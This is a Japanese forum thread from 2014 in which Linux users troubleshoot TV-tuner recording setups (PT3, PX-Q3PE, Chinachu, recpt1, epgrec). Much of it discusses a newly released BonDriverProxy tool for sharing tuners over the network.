GWの更新が大規模だったからやられたクチかな?
それなら最新状態に追従しなきゃ良いだけでは?

他のは使い勝手が悪いしバグを抱えたまま更新が止まっているのを改造するよか大分楽だと思うが
コメント1件

355
login:Penguin[sage]   投稿日:2014/05/12 16:11:12  ID:xFAuzapQ.net
>354
いや、単に改造へのハードルが高いよって意味だよ。
超絶長い関数とかいろいろ。
これを管理できてる作者には本当に頭が下がる。

356
login:Penguin[sage]   投稿日:2014/05/20 02:02:50  ID:+ysSmX8v.net
CentOS6.5 + pxq3pe + chinachu の環境がうごいたので報告

ポイントは以下の2点

- foltiaからドライバ(pxq3pe_dtv.ko)、 recpt1コマンドなど流用
   デバイス名は 衛星: /dev/pxq3pe{0,1,4,5} 地デジ: /dev/pxq3pe{2,3,6,7}
   デバイスのパーミッションが 660 なので、 chinachuユーザがアクセスできるようにする。

- epg取得用のrecpt1のオプションを変更し、 "--sid epg" 部分を削除
   ~chinachu/Chinachu/app-scheduler.js :
- recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace('<sid>', 'epg');
+ recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace(' --sid <sid>', '');
コメント1件

357
login:Penguin[sage]   投稿日:2014/05/20 03:36:00  ID:VpOCCq8z.net
>356
録画データに他のサービスも入り、サイズがでかくなるがEPG情報を残したかったのでconfig.jsonの方で"-sid <sid>"を除いてる。
ドライバのロードは、sysconfig/modulesにスクリプト置いて、その中でchmodもかけてやると手っ取り早いかと。

358
login:Penguin[sage]   投稿日:2014/05/20 04:17:31  ID:j+IyEa/9.net(2)
PlanexはPX-W3U3←これのドライバに入ってるas11usbdtv.koとloader.koって
カーネルモジュールのソース公開するかARM版同梱してくれ。
Raspberry Piで使いたいんじゃ

359
login:Penguin[sage]   投稿日:2014/05/20 04:19:23  ID:j+IyEa/9.net(2)
↑PlanexじゃなくてPLEXでした、失礼しました
PLEXの人よろしく!

360
login:Penguin[sage]   投稿日:2014/05/22 22:09:16  ID:k10sTAWk.net
このスレが3ぐらいで録画スレからしばらく消えてたのだが
ffmpegでエラーが出るTSをエラー回避する方法ってまだ発見されてないよね?

361
login:Penguin[sage]   投稿日:2014/05/23 12:47:52  ID:BTB+2HsY.net
日本語でおk

362
login:Penguin[]   投稿日:2014/05/24 18:30:03  ID:p0xMBKl5.net(3)
Chinachuのインストールのことで困っています。教えて下さい!
CentOS 6.5にChinachuを公式ページを参照しインストールしました。
しかし、ウェブからのアクセスが出来ません。 wuiのlogには以下の記載がありました。

**SELF-REGULATION WARNING**: If you want to access from outside of LAN, Please activate TLS.
info: socket.io started
info: socket.io started
warn: error raised: Error: listen EAFNOSUPPORT

-確認したこと-
recpt1も入れ、recpt1 --b25 --strip 27 10 test.ts で地上波、BS/CS録画できた
./chinachu update -f でEPGを取得
http://127.0.0.1:10772/ には「接続できません。」とでます。LAN内の他PCでも同様。
http://127.0.0.1/ だと「Welcome to socket.io.」となります。
録画フォルダにはアニメが溜まっており裏で録画は一応されている模様…
なお、SELinux、Firewallはオフにして上記確認をしました。
コメント2件

363
login:Penguin[sage]   投稿日:2014/05/24 18:53:01  ID:FR/ktQyv.net
公式はDebian向けだから必要なパッケージ足りてないとか?

364
362[]   投稿日:2014/05/24 19:31:19  ID:p0xMBKl5.net(3)
10772だとダメでしたが、config.jsonのwuiOpenServerをtrueに変更
10772は相変わらずダメですが、20772でパスワード付きログイン可能になりました!

結局なぜ10772はダメなのか…

365
login:Penguin[sage]   投稿日:2014/05/24 19:36:07  ID:g85oOCTN.net
10722と20722だもの

どこかに、まんちがい があるんじゃないか?
コメント1件

366
login:Penguin[sage]   投稿日:2014/05/24 19:37:28  ID:dEzGYObK.net(2)
Please activate TLS.  ...とあるから、
OpenSSLが入ってないんじゃないの?
コメント1件

367
362[]   投稿日:2014/05/24 19:56:09  ID:p0xMBKl5.net(3)
>365
>366
間違いありました…>154のこれでした!
過去ログってかこのスレよく見ろって話でした。失礼致しました。

368
login:Penguin[sage]   投稿日:2014/05/24 22:09:45  ID:rGW7EZiJ.net
Chinachuを見ると国内外ほとんどの放送波に対応してるような記述あるけど
日本から国外の放送って受信どうやるの?
PT3以外にチューナー必要?

369
login:Penguin[sage]   投稿日:2014/05/24 22:18:46  ID:dEzGYObK.net(2)
そりゃそうでしょ

370
login:Penguin[sage]   投稿日:2014/05/24 23:24:30  ID:rHhUKAKd.net
>362

> Error: listen EAFNOSUPPORT

ちゃんとエラー読もう。
http://linuxjm.sourceforge.jp/html/LDP_man-pages/man3/errno.3.html

多分 wuiHost を "0.0.0.0" にすれば行けるかもしれない。

371
login:Penguin[sage]   投稿日:2014/05/25 00:33:53  ID:5nKTJLx/.net
お前も3つ上のレスぐらい読めよな


372
login:Penguin[sage]   投稿日:2014/05/25 01:28:27  ID:JgTv6bvV.net
Fedora19だが、"wuiHost" : "::"でアクセスできてるぞ。
IPv6切ってるからだろうか。

373
login:Penguin[sage]   投稿日:2014/05/25 07:07:40  ID:9GeonHb2.net(2)
RedHat系なら問題なく、Ubuntu系なら出るってモンじゃないかね?

374
login:Penguin[sage]   投稿日:2014/05/25 07:10:05  ID:9GeonHb2.net(2)
すまん、寝ぼけていた。
>362は思いっきりCentOSと書いてた。

ちょっと寝直してくる。

375
login:Penguin[sage]   投稿日:2014/05/25 09:19:46  ID:bIxO4Fui.net
みんな疲れてるんだな

376
login:Penguin[sage]   投稿日:2014/06/04 00:55:57  ID:SXMO+C9U.net
>342 と同じ、新本家にhttpパッチを当てた recpt1 を使っているのですが、
http を叩くごとにメモリー使用量(ps で言うところの RSS)が増大し、初めは1Mも使っていなかったものが
ちょっと油断すると200M以上食っていたりします。
元に戻すにはrecpt1を再起動させるしか思いつかないのですが、他になにか良い方法はあるのでしょうか。
それとも、こんな振る舞いをするrecpt1はウチの子だけ?

377
login:Penguin[sage]   投稿日:2014/06/04 21:29:59  ID:DA/mzAUw.net
本来とは違うバージョンのソースにパッチ当てたってこと?
普通に考えるとまともに動かないだろ

ちゃんとにソース読んで確認した?
それができないのであれば配布されてるものそのまま使うべき
コメント1件

378
login:Penguin[sage]   投稿日:2014/06/04 22:32:59  ID:mUsuRBNT.net
>377
>本来とは違うバージョンのソースにパッチ当てたってこと?
新本家は、新旧で構成が違うからそれ用でないとパッチできない。
だからそれは無い
と書いてみたが念のため確認したら>342のパッチは古いやつジャン
リンク貼り間違えたんかねえ

最新版用は、以下だよ
http://www1.axfc.net/uploader/so/3042920
コメント1件

379
376[sage]   投稿日:2014/06/05 20:55:05  ID:4T47rBOf.net
>378 確認・ご指摘ありがとうございます。
残念ながら、この最新版用をパッチ当てても症状は同じでした。
recpt1 を --http オプションを付けてdaemonとして立ち上げておき、http interfaceを通してvlcで
tvのリアルタイム視聴をしているのですが、チャンネルを変更するたびに(httpを叩くたびに)recpt1の
メモリー使用量が増えていくのが観察できます。 そちらではこんな事はありませんか?
因みに、vlcでのリアルタイム視聴やチャンネル変更は全く問題なくできています。
コメント2件

380
login:Penguin[sage]   投稿日:2014/06/05 22:45:16  ID:zOG4NeQ9.net
>379
メモリリークしてるっぽいね。
当方 dlna での視聴では発生していないので、
http オプション固有の問題かも?

381
login:Penguin[]   投稿日:2014/06/06 02:45:21  ID:g8zCdq2U.net
デコーダをリリースしていらなくなったARIB_STD_B25_BUFFERを開放してないんじゃないか
コメント1件

382
login:Penguin[sage]   投稿日:2014/06/07 16:36:10  ID:7i7ivPYI.net(2)
chinachuで、EPG更新するとcpuをかなり持っていかれる。
12ch分チューナつんだのもあるんですけど、空いているチューナ全部使ってるみたいなので、
これを1〜2chずつゆっくりepg取得するようにカスタマイズしたいと思ってるんですが、
やっている人はいませんか?
コメント1件

383
login:Penguin[sage]   投稿日:2014/06/07 17:02:42  ID:Y6J2BtGZ.net
>382
うち、chinachuだけどロードアベレージ
0.6越したことないんだけど

xeon e3v2下の仮想環境でcpu2つ割り当て
pt3x3だから12ch
コメント1件

384
login:Penguin[sage]   投稿日:2014/06/07 20:21:04  ID:7i7ivPYI.net(2)
>383
ウチの環境だと1ch録画中で、0.7位までいってしまいます。

見よう見まねで、小型&多チャンネル目的にして、以下の環境作りました。
どこかチューニングしたらまともになるんでしょうかね?

[環境]
アプリ: chinachu
MB: ECS H81H3-M4, CPU: Pentium G3220T(2c2t、2.6Ghz), MEM:4GiB
OS: CentOS6.5, tuner: pt3 & pxq3pe

load avgは
・1ch録画時: 0.5〜0.7位
・chinachu update -f 実行中
 epg用ts録画中(8ch分): 2.0 〜 3.0
 epgdump実行中(8ch分): 10.0超 !!!

385
login:Penguin[sage]   投稿日:2014/06/08 07:41:15  ID:7sTQwSYo.net
pxq3peっていつの間にlinux対応してたんだ??
知らなかったわ。TS抜きも出来るの?

386
Penguin[sage]   投稿日:2014/06/08 09:40:57  ID:xy7zHSjr.net
epgrec unaのDBを使って明日放送されるドラマ・アニメの新番組一覧を出力するSQL文を作ってみたが、取りこぼしちまう。もっと精度高くできないかな。


SELECT Recorder_channelTbl.name, Recorder_programTbl.title
FROM Recorder_programTbl
JOIN Recorder_channelTbl
JOIN Recorder_categoryTbl
ON Recorder_channelTbl.channel_disc = Recorder_programTbl.channel_disc
AND Recorder_categoryTbl.id = Recorder_programTbl.category_id
WHERE Recorder_programTbl.endtime > now( )
AND CONCAT( Recorder_categoryTbl.id ) REGEXP '(4|8)'
AND CONCAT( Recorder_programTbl.title )
REGEXP '( 第(1|1)話|\\\[新\\\]|<新>|#1$|#1$|#1$)'
AND CONCAT( Recorder_programTbl.starttime )
REGEXP "$nextday"
ORDER BY Recorder_programTbl.starttime ASC
LIMIT 300;

387
login:Penguin[sage]   投稿日:2014/06/08 09:46:54  ID:dfytllm1.net
【EDCB】EpgDataCap_Bonについて語るスレ 37 /DTV板 だと、

\[新\]|[新]|<新>|\(新\)|【新】|第0*[1一][話回]| 新$|#0*1(?!\d)
([\[\(【<]新[>】\)\]])| 新$|第0*[1一壱][話回夜弾]|#0*1(?!\d)
[\[\([【<]新[>】]\)\]]| 新$|第0*[1一―ー壱][話回夜弾]|[#♯]0*1(?!\d)

といった辺りが使われているそうな
当然そのままじゃ無理だろうけど

388
login:Penguin[sage]   投稿日:2014/06/08 09:56:18  ID:T64ooM69.net
【無】消したら録画したあと捗る

389
login:Penguin[sage]   投稿日:2014/06/08 10:39:17  ID:ko/H8WLt.net
出来る出来ないは質問以前の話だろ

390
login:Penguin[sage]   投稿日:2014/06/15 21:50:34  ID:jKV0LTvO.net(2)
>379

http://valgrind.org/docs/manual/quick-start.html
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/conte...

上記を参考にValgrind使ってhttpサーバー版を実行してみた所、
メモリリークしてますね。ただ、私の知識ではどこを修正すれば
治るのかまでは分かりませんが。
コメント1件

391
login:Penguin[sage]   投稿日:2014/06/15 22:38:51  ID:QthMzmB5.net
>390
気分転換に調査してみる

392
login:Penguin[sage]   投稿日:2014/06/15 23:11:15  ID:jKV0LTvO.net(2)
httpサーバーなしをValgrindで実行してみた所、メモリリークは一箇所でした。
http://hg.honeyplanet.jp/pt1/rev/c8688d7d6382

==7209== 16,360 bytes in 1 blocks are definitely lost in loss record 1 of 1
==7209== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==7209== by 0x402163: main (recpt1.c:883)

883: bufptr = malloc(sizeof(BUFSZ));
recpt1.c の 883行目でmallocしたメモリをfreeしてないということの様ですが
録画終了時の処理なのですぐにプロセス終了で回収されるでしょうね。

httpサーバー版だと通らない所に見えるので関係性はなさそうです。

393
login:Penguin[sage]   投稿日:2014/06/16 01:40:50  ID:XyT/HHKp.net

394
login:Penguin[sage]   投稿日:2014/06/21 10:52:54  ID:lKTRMCOS.net
こう言う物をつくったので、暇な方は試してみてください
チューナの共有ソフトです
http://www1.axfc.net/u/3262994
Unix系のこの手のソフトの開発者の方への、BonDriverインタフェース使いませんか?て提案でもあります
あと、ReadMeで言及してるwindows版はこちら
http://www1.axfc.net/u/3261982
コメント1件

395
login:Penguin[sage]   投稿日:2014/06/21 11:46:56  ID:+B2BoxND.net
これはちょっと期待

396
login:Penguin[sage]   投稿日:2014/06/21 20:41:58  ID:yRRtKnRj.net
>394

おぉー、Linux側を鯖にして、Windows側をクライアントで使用している場合には
可能性が広がりますね。

Githubで公開とか出来ませんか?
コメント1件

397
login:Penguin[sage]   投稿日:2014/06/22 07:28:03  ID:9K15rOHz.net(9)
>396
一応、Linuxで実行するアプリの場合でもBonDriverインタフェースを使う形で実装すれば、
このツール経由でチューナ共有やチャンネル変更の優先権の設定機能は利用可能になるので、
クライアントはWindows限定ってわけじゃないんです

サンプルとしてBonDriverインタフェースを使用して生TSストリームを保存するプログラムのソースを
入れてるので、開発者の方にはそれ見てもらえればBonDriverの大体の使い方はわかるかと思います

サンプルをちょっと変更して、生TSではなくてスプリット/デスクランブルしたものを出力するようにすれば、
ストリーム配信とかも大した手間かけずに可能です
現状のままでも、epgrecを若干修正してTS保存アプリとしてこのサンプルを起動するようにすれば、
epgrecの大改造無しに録画機能がBonDriverインタフェース対応になりそうな気もします
#未確認ですが

398
login:Penguin[sage]   投稿日:2014/06/22 07:31:15  ID:9K15rOHz.net(9)
BonDriverインタフェースに関しては、Unix系の環境では普及してないので何それて方も多いかもしれませんが、
アプリ側が正しくBonDriverインタフェースを利用している限り、それがBonDriver_LinuxPTであれ
BonDriver_Proxyであれ、あるいは誰かがつくるかもしれないBonDriver_LinuxW3PEであれ、
正しく機能する事を保証するのがBonDriver層の仕事です

実際のデバイスの差異をBonDriver層で吸収してしまう事で、新しいデバイスが出てきた場合にも
上位層のアプリは修正不要になるはずです
#当然そのデバイス用のBonDriverは必要になりますが

例えば、recpt1をBonDriverインタフェースを使用するように改造した場合、今後特定デバイスへの対応と言う
意味での変更は不要になる、みたいな感じです

とまあそんな意図から、Unix系の開発者の方にもBonDriverインタフェース使いませんかと提案してみた次第です

399
login:Penguin[sage]   投稿日:2014/06/22 07:33:52  ID:9K15rOHz.net(9)
あ、GitHubに上げときました
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux

400
login:Penguin[sage]   投稿日:2014/06/22 08:11:44  ID:EZXKzEnF.net
unko now ってなんだよwwww
コメント2件

401
login:Penguin[sage]   投稿日:2014/06/22 08:46:26  ID:EOcOKztN.net
そうして誰も使わなかった



FIN

402
login:Penguin[sage]   投稿日:2014/06/22 11:01:22  ID:yqCR4suw.net(3)
現状Linuxアプリは直接PT3ドライバ叩いてるけど、BonDriverインターフェース経由してアプリの界面を共通化しよう
ということであってる?

あとそもそものBonDriverProxyの役割がよくわからない
コメント2件

403
login:Penguin[sage]   投稿日:2014/06/22 11:39:32  ID:cdsubSq1.net
recpt1のhttp機能を使うタイプのBonDriverはすでにあるから、TvTest等BonDriver対応アプリから使うのはすでに出来てるね
メリットはチューナーの優先制御あたりですかね
コメント1件

404
login:Penguin[sage]   投稿日:2014/06/22 11:45:33  ID:2N7DXHcb.net
BonDriver対応クライアントが便利だったら普及しそうだけど
現状recpt1を使ってepgrecとvlcがあれば事足りるからな〜

使ってないからよくわらかんけどDVBみたいなもの?
コメント1件

405
login:Penguin[sage]   投稿日:2014/06/22 11:54:50  ID:po6RCm/B.net
>400
unknownのアナグラムがうんこなうになる程世の中は甘くはない

でも一字違いなんだよな、惜しい

406
login:Penguin[sage]   投稿日:2014/06/22 12:25:25  ID:ec/Gwt+a.net
Linuxには既にDVBドライバという共通I/Fがあるわけだが
コメント1件

407
login:Penguin[sage]   投稿日:2014/06/22 13:06:59  ID:BasD8bs2.net(4)
pt1_ioctl改変って何が、変わってんの?
コメント1件

408
login:Penguin[sage]   投稿日:2014/06/22 14:30:12  ID:LfXdXm96.net
sample.cppみて思ったんだが
「使用スペース指定」ってなに?

基本的な仕様がわからないようでは相手にされないと思うよ
あと具体的なメリットと運用例を挙げるとかさ
コメント1件

409
login:Penguin[sage]   投稿日:2014/06/22 15:57:39  ID:BasD8bs2.net(4)
なんかカン違いしてるかもだが、Ex版との違いって?
epgrecで録画で使っているチューナーをリアルタイム視聴にも
回したいといった用途だとEx版じゃないとだめ?
コメント1件

410
login:Penguin[sage]   投稿日:2014/06/22 16:21:38  ID:9K15rOHz.net(9)
>400
実は当方もアカウントつくってからそう思いました(;´Д`)

>402
そんな感じです

BonDriverProxyは、BonDriverインタフェースに対応しているアプリと実際の使用BonDriverをTCP経由でプロキシするものです
基本的にはリモート視聴用途ですね

このプロキシの際の副次的な機能として、クライアント1と2から同じBonDriver(大抵の場合は=物理チューナです)を要求された場合は、
そのチューナからのTSストリームを両方のクライアントに配信します
なので、同じ物理チャンネルなら複数のユーザが同じチューナを利用して視聴できる形になります
#プロキシ対象がBonDriver_LinuxPTなら配信対象は生TSストリームになるので、同じトラポン内の別サービスを
#それぞれのクライアントが利用するというのも可能です
#例えばクライアント1はフジテレビnextを、クライアント2はフジテレビoneをみる、みたいなパターンですね

またチューナを共有しているユーザ同士の間で、チューナのチャンネル変更権の優先度を設定する事が出来ます
クライアント1はいつでもチャンネル変更できるけど、クライアント2は優先権を持ったユーザが接続していない場合のみ変更できる、
みたいな設定です
これは、誰かがリアルタイム視聴してても録画機能はチャンネルを持って行けると言う様な用途を想定しています

まあぶっちゃけSpinelと同じようなもんだと思ってもらえばそれ程間違いは無いかと
コメント1件

411
login:Penguin[sage]   投稿日:2014/06/22 16:34:44  ID:9K15rOHz.net(9)
>403
BonDriver_HTTPですね
あれはrecpt1をhttpプロトコル経由でチャンネル指示を受けてストリーム配信開始するように改造したのを、
TVTest等から受けられるようにするための物なので、Linux側のアプリがBonDriverインタフェースに
対応していると言うわけじゃないんですよね
#ちなみにrecpt1のHTTPサーバ版にはド直球のスタックバッファオーバーランがあるので、そこを修正してない人は
#外部への公開はお勧めしません

>404
まあそこですよね
ユーザ視点で見れば、正直現状で困ってないのなら移行する必要性はあんまりない感じです
当方の提案はどっちかと言うと、ユーザではなく開発者向けのものですね

>406
そうなんですが、現在のところ(少なくとも日本では)一番メジャーだと思われるrecpt1では使われてませんし、
BonDriver層はどっちかと言うとそれよりもう一段上位層に位置してそうなイメージです
Windowsでは事実上標準のインタフェースにする事で、Windows用のソフトを移植しやすくなるんじゃね?てのもあります
EDCBのUIはともかくエンジン部分とかですね

>407
LNB用のioctlに引数がついてpt3_ioctlと同じになってます

412
login:Penguin[sage]   投稿日:2014/06/22 17:01:16  ID:9K15rOHz.net(9)
>408
BonDriverは、そのドライバ毎にスペース/チャンネルと実際のデバイスの物理チャンネルとの対応を内部的に持つ形になります
例えばUHFでの物理チャンネルが27でも24でも、BonDriver側の設定で、アプリからは同じチャンネルに見せる事が出来ます
テレビのリモコン番号のイメージですね
#ただ、おそらくもっともメジャーなBonDriver対応アプリであるTVTestでは、チャンネルスキャンする事によって、
#そこから更に内部的に放送局とあるBonDriverでのスペース/チャンネルとの対応を把握して保存する形なので、
#「アプリに同じチャンネルに見せる」と言う機能はあんまり活用されてない感じですが

スペースに関しては便宜的な物で、BS空間とCS110空間を分けて扱いたい、みたいな場合に使う感じです

と言うのが当方の理解です
当方もBonDriverインタフェースの考案者に意図を確認したわけではないので、各種BonDriverの挙動からの判断となってしまいますが…

で、BonDriver_LinuxPTで言えば、スペースは使用しておらず、0固定です
具体的には、PT3のS0を使う場合、スペース0のチャンネル0はBS朝日、スペース0のチャンネル17はNHK-BS1、みたいな感じで
confファイルに設定してます

BonDriverインタフェースに移行するメリットは、開発者的には>402さんの通りですが、
ユーザ的には正直あんまりないかもしれません
#BonDriverProxyを使うと言う前提でなら、>410で書いた様な運用が可能になりますけども

>409
Ex版の方は使用BonDriverの選択を自動にして、クライアントからの要求毎になるべく少ない数のチューナで対応しようと言う物です
VirtualPTみたいな機能が欲しいって声があったので、つくってみたって感じの機能です

チューナの共有は無印でも可能です
例えばepgrecが起動するアプリからBonDriver_Proxyを使用して(チャンネル変更権を設定して)TS保存する形にすれば、
別アプリからやはりBonDriver_Proxy経由でそのチューナがリクエストされた場合には、そちらには(チャンネル変更権を
設定していない限り)録画中のチャンネルのTSストリームが配信されます
コメント1件

413
login:Penguin[sage]   投稿日:2014/06/22 17:10:05  ID:yqCR4suw.net(3)
なるほど

自分で言っておいてなんだけど、アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
いまいちメリットを理解出来てないw
コメント1件

414
login:Penguin[sage]   投稿日:2014/06/22 17:37:04  ID:BasD8bs2.net(4)
>412
全然ついていけんw
BonDriverのことがわからんのがいかんな・・・

なんとかBonDriverProxy動くとこまで行きたいけど・・・
コメント1件

415
login:Penguin[sage]   投稿日:2014/06/22 20:16:11  ID:p+R10FJz.net(2)
・1つのチューナーで同じチャンネルを複数プロセス(録画・視聴・EPG取得)で同時利用できるので
・同じチャンネルの連続した番組を1つのチューナーでそれぞれに糊代をつけたまま録画できる
・野球などの録画延伸とEPG更新が同時にできる。
が簡単にできるようになるね

で質問なんだけどチューナーの使用状況(使用の有無・チャンネル・用途)がわかるAPIてあるの?
コメント1件

416
login:Penguin[sage]   投稿日:2014/06/22 20:34:24  ID:AWfMcXnb.net
以下、ユーザー視点の勝手な感想ってことで。

WindowsのBonDriverの考え方を持ち込むのは?だと思う。
新しいチューナーが出たとして、そのチューナーのLinux用ドライバに加えて
BonDriverを書かなきゃ使えないということになるよね?それはさすがに厳しす
ぎるだろうと思うなあ。現状見てもPT3でchardevドライバ版しか使えないって
ことだろうし。

他の人も書いているけど、LinuxにはDVBがすでにあるのだし、サーバー側の
チューナー制御がDVB経由なら対応チューナーが一気に増えると思う。DVB
ドライバがあるFriio白,PT1,PT2,PT3,PX-S1UDが使えるのではないのかな?
DVB用BonDriverで良いのかもしれないけど。あとサーバー側でB25デコード
機能は欲しい。

WindowsでSpinel使っていたから、Linuxには、ネットワーク経由でチューナー
共有や制御できる機能がないのは残念だなと思っていたので期待してる。
コメント2件

417
login:Penguin[sage]   投稿日:2014/06/22 20:47:00  ID:PoQYfK5M.net
確かにBonDriver_DVBとか作ってそこでB25デコードすりゃ使い勝手はよさそうだな
だけどBonDriverのinterfaceでは視聴してるサービス知らせるすべが無いから
CSのデコードは全サービスをデコードするしか無いからなぁ
コメント1件

418
login:Penguin[sage]   投稿日:2014/06/22 20:55:30  ID:p+R10FJz.net(2)
>CSのデコードは全サービスをデコードするしか無いからなぁ
FUSE_B25はどうしてる?

419
login:Penguin[sage]   投稿日:2014/06/22 22:11:49  ID:yqCR4suw.net(3)
LinuxにBoDriverインターフェースを採用する話とBoDriverProxyの話が混ざってよくわからなくなってる

420
login:Penguin[sage]   投稿日:2014/06/22 23:25:35  ID:9K15rOHz.net(9)
>413
> アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
ですね
単に現在BonDriverインタフェースを使ってるアプリが移植しやすくなると言うだけです

>414
PTの刺さってるLinuxマシンがあるならすぐに試せますよ
まあ今LinuxでBonDriverインタフェース使ってるアプリはBonDriverProxy本体とそのおまけのサンプルアプリだけでしょうから、
それでしか試せませんが…

例えばBonDriver_Proxy.soの指定BonDriverをBonDriver_LinuxPT.soとして、BonDriver_LinuxPT.soは/dev/ptXvideo0
を使う様に設定して、サンプルアプリではBonDriver_Proxy.soを使用して複数起動すれば、チューナの使用は一つだけですが、
起動した数だけの録画が行われるはずです
上記設定で、
$ ./sample -b ./BonDriver_Proxy.so -s 0 -c 0 -t 10 -o a.ts & sleep 3;./sample -b ./BonDriver_Proxy.so -s 0 -c 17 -t 5 -o b.ts
な感じで実行した場合、a.tsには最初の3秒がBS朝日で残りの7秒がNHK-BS1、b.tsには5秒のNHK-BS1が出力されるはずです
#ただしこの例の場合、新たな接続があるたびにチャンネル変更要求が投げられそれが受理される形になるので、
#その度毎に既存接続のストリームにはドロップが発生する事になるでしょう
#また、サンプルアプリで保存されるTSは生ストリームなので視聴するにはb25を使うなどしてデスクランブルが必要です
コメント1件

421
login:Penguin[sage]   投稿日:2014/06/22 23:30:52  ID:9K15rOHz.net(9)
>415
> 使用の有無
この判定は出来たりできなかったり、BonDriver毎の実装依存です
Windowsの例で言うと、大抵のBonDriverは誰かがチューナを使ってる状態だと、CreateBonDriver()での
インスタンス取得に失敗するか、インスタンスが得られても続くOpenTuner()が失敗します
BonDriver_Proxyの場合はチューナが使用されていても共有する関係で、たとえ使用されていても成功するので
使用されているかどうかはわからないですね

> チャンネル
IBonDriver2.hの
virtual const DWORD GetCurSpace(void) = 0;
virtual const DWORD GetCurChannel(void) = 0;
が現在の(BonDriverとしての)チャンネル取得APIです
ただし、まだオープンしていないチューナの現在チャンネルを知る事は出来ません
また、チューナをオープンして、一度もチャンネル設定のリクエストを出していない状態でも知る事は出来ません

> 用途
これに関してもBonDriverインタフェースとしてはその情報は持っていませんね
なので、録画アプリは自分が使用するチューナのみに関しては被らないようにしなきゃいけないのは変わりません
なお、その辺りの空きチューナ管理なども行い、アプリからはどのチューナを使うのか意識しないでも良い
BonDriverも存在します
#移植してませんが、BonDriveProxyのExの方はそう言う感じの用途向けです

422
login:Penguin[sage]   投稿日:2014/06/22 23:57:00  ID:BasD8bs2.net(4)
>420
やっぱわかりずらいな。
BonDriverProxyは起動するんよね?
BonDriver_Proxy.confのBONDRIVERにBonDriver_LinuxPT.soを設定する。
アドレスとポートは起動したBonDriverProxyのを指定。
BonDiver_linuxPT.confには/dev/pt3video0を指定する?
地上波チューナ使う時は別途
BonDriver_LinuxPT-T.soとか別名のsoとconfつくってデバイスを変更する?
sampleが地上波とCSを同時に使うとかはどうするんだろう?
BonDriver_Proxy1とか作って増やすのかな?
コメント1件

423
login:Penguin[sage]   投稿日:2014/06/23 00:00:37  ID:9K15rOHz.net(9)
>416
とりあえずchardevドライバ版でつくったのは、単にそれが一番普通に使われてる感じだったからなんですよね
PTシリーズと、あとPX-W3PEもPTシリーズのchardevドライバと(多分意図的に)インタフェースは互換みたいです
#デバイスオープン直後に恐らくスクランブル関連のAPI呼んでますが、それ以外は全く同じです
感覚としては、BonDriver_LinuxPTを雛形にすれば、他のデバイス用のBonDriverつくるのは(デバイスへの
インタフェースが公開されてる限り)そんなに手間ではない感じかなと思ってますが…

BonDriver_DVBは良いアイデアですね
時間が出来たら調べてみます

デスクランブルは…例の著作権法改定のからみで開発者的にはかなりスリリングなので、BonDriverProxyでは
意図的に避けてるんですよね…
#Windows系ではデスクランブル機能を持ってたソフトはTVTestはじめ軒並み機能削除か自粛しちゃいましたが、
#Unix系ではまだごく普通にGitHubに公開されてたりするのでちょっと驚いてるところです

>417
今時のB-CASカードなら処理速度的には大丈夫なのかなとも思いますが、PT二枚刺しとかでサービス数が
多いトラポンを数チャンネル同時とかはやっぱり厳しいでしょうか
アプリ側でキャッシュを持てば多少マシかな…
まあぶっちゃけsoftcas化がもっとも簡単なんですが、もっとも黒いので選択肢に入りませんね…
コメント2件

424
login:Penguin[sage]   投稿日:2014/06/23 00:39:47  ID:DN2vhIfe.net(5)
>422
例えば以下PT3一枚の例で話すと、まずBonDriver_LinuxPT.soは物理デバイスと一対一なので四つコピーをつくります
で、それぞれ用にconfもコピーして、使用デバイスに対応させます
e.g.
BonDriver_LinuxPT-S0.so
BonDriver_LinuxPT-S0.so.conf -> /dev/pt3video0を指定
BonDriver_LinuxPT-S1.so
BonDriver_LinuxPT-S1.so.conf -> /dev/pt3video1を指定
BonDriver_LinuxPT-T0.so
BonDriver_LinuxPT-T0.so.conf -> /dev/pt3video2を指定
BonDriver_LinuxPT-T1.so
BonDriver_LinuxPT-T1.so.conf -> /dev/pt3video3を指定

この時点でもサンプルからBonDriver_LinuxPT-S0.so等を指定すれば使えます

425
login:Penguin[sage]   投稿日:2014/06/23 00:42:26  ID:DN2vhIfe.net(5)
で次に、クライアント側のBonDriver_Proxy.soは、基本的には対象BonDriverと一対一なので、これも四つコピーをつくります
そのそれぞれのconfは、上でつくったBonDriver_LinuxPT.soのコピーをそれぞれ指定します
e.g.
BonDriver_Proxy-S0.so
BonDriver_Proxy-S0.so.conf -> BonDriver_LinuxPT-S0.soを指定
BonDriver_Proxy-S1.so
BonDriver_Proxy-S1.so.conf -> BonDriver_LinuxPT-S1.soを指定
BonDriver_Proxy-T0.so
BonDriver_Proxy-T0.so.conf -> BonDriver_LinuxPT-T0.soを指定
BonDriver_Proxy-T1.so
BonDriver_Proxy-T1.so.conf -> BonDriver_LinuxPT-T1.soを指定
また、confのADDRESSとPORTはもちろんBonDriverProxyを起動した際の引数と同じものを指定します

この状態で、サンプルからBonDriver_Proxy-S0.soを指定すれば、プロキシを通してBonDriver_LinuxPT-S0.soが使用され、
BonDriver_Proxy-T0.soを指定すればBonDriver_LinuxPT-T0.soが使用されます

サンプルからBonDriver_Proxy-S0.soを使用中に、別端末からサンプルをやはりBonDriver_Proxy-S0.soを指定して起動すると、
BonDriver_LinuxPT-S0.soが共有され、/dev/pt3video0からのTSストリームが両方に配信されます

とまあこんな感じですがわかるでしょうか
コメント1件

426
login:Penguin[sage]   投稿日:2014/06/23 01:27:13  ID:dq7KpCTh.net
>425
ありがとう。だいぶわかってきた。
もう寝るけどw。むずかしいね。

427
login:Penguin[sage]   投稿日:2014/06/23 10:25:28  ID:quj7m4zR.net(2)
>423
まあ、DVBがあるからって要らないってことはないよね。
実際、インストールベースを考えるとWinでの開発が先行するだろうし。

よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。

今うちでは、もっと上位でそれをやってるんだよね。
Shell Script書いて、recpt1とrecfriioを状況に応じて使い分けるみたいな。
ちなみにそのために、recpt1等をいじって終了ステータスを手直ししてるけど。

スクランブルについては、法的問題以外に純粋に作りの話として、
